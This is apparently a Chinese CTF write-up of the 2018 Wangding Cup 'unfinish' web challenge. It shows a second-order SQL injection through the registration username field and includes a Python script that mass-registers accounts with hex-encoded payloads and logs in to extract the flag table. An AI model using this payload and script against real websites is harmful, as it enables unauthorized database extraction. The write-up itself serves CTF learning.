网鼎杯-2018-unfinish

网鼎杯-2018-unfinish
1.题目:
2.过程:

进入题目,是一个/login.php,放到御剑扫:

image-20210317133844360

有注册界面,随便注册一个看看:

image-20210317134024989

什么都没有……左边有一个侧边栏可以看到注册的用户名

各种方法都试了一下,都没有成功……在注册时发现用户名(username)加单引号时,界面回显不同,应该是插入数据库时’导致语句的格式错误……(应该先搞懂sql插入语句的……)

SQL INSERT INTO 语句

INSERT INTO 表名称 VALUES (值1, 值2,….)

image-20210317140715985

题目中的sql插入语句就有可能是:

1
insert into table value('$email','$username','$password')

题目中,email和password好像都很难注入……测试时也只有改动username时回显不同

闭合引号’)#似乎不行,语句可能是:

1
insert into tablename (email,username,password) values ('$email','$username','$password')

dalao操作似乎是利用mysql中的”加法“结合hex加密:

**mysql中加号(+)**:

①如果双方都为数值型数据则结果为数值相加结果;

②如果有一方为字符型,则试图将字符型数值转换成数值型,如果转换成功,则继续做数值加法运算;

③如果有一方为null,则结果肯定为null。

也就是说,直接0’ + database() +’0,实际上是0+0+int(database()),而结果开头为字母,即结果为0

如果是version():

image-20210317144848852

version()的显示只剩下了5.5,后面的数据都么有了

可以利用双重hex加密或ord与ascii使返回结果为数字;另,若返回数字超过十位,会以科学计数法返回,造成数据损失……(还有,表名flag竟然是猜的,把information_schema禁了……

写脚本批量注册与登录,获取username数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time

content = ""
#注册:
url1 = 'http://111.200.241.244:33496/register.php'
for x in range(1,100):
register = {
"email": str(x)+"@qqq.com",
"username": "0'+( substr(hex(hex((select * from flag ))) from "+str((x-1)*10+1)+" for 10))+'0",
"password": "1"
}
response1 = requests.post(url=url1, data=register)

#登录,查username
url2 = 'http://111.200.241.244:33496/login.php'

for x in range(1,100):
login = {
"email": str(x)+"@qqq.com",
"password": "1"
}
response2 = requests.post(url=url2, data=login)
r = response2.text
left = r.find(' ')
right = r.find('</span>')
con = r[left:right].strip()
content += con
print(con)
print(content)

image-20210317145756747

没写停止,一下全输出了……

hex解密:

image-20210317145858429

这好像叫做二次注入……和我理解的好像不一样,那上次用cookie回显是不是也算二次注入……

作者

inanb

发布于

2021-03-17

更新于

2021-08-23

许可协议


:D 一言句子获取中...